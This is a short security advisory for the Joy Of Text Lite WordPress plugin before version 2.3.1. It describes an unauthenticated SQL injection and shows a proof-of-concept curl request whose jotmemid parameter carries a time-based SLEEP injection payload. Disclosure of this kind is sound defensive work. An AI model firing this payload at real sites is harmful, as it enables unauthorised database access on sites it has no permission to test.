WordPress Plugin Vulnerabilities

Joy Of Text Lite < 2.3.1 - Unauthenticated SQLi

Description

The plugin does not properly sanitise and escape some parameters before using them in SQL statements accessible to unauthenticated users, leading to unauthenticated SQL injection

Proof of Concept

Invoke the following curl command to induce a 5 second sleep:

time curl 'https://example.com/wp-admin/admin-ajax.php?action=send_message' \
    --data 'jotmemid=x-+(SELECT+1+FROM+(SELECT(SLEEP(5)))aaaaaa)'

Affects Plugins

Fixed in 2.3.1
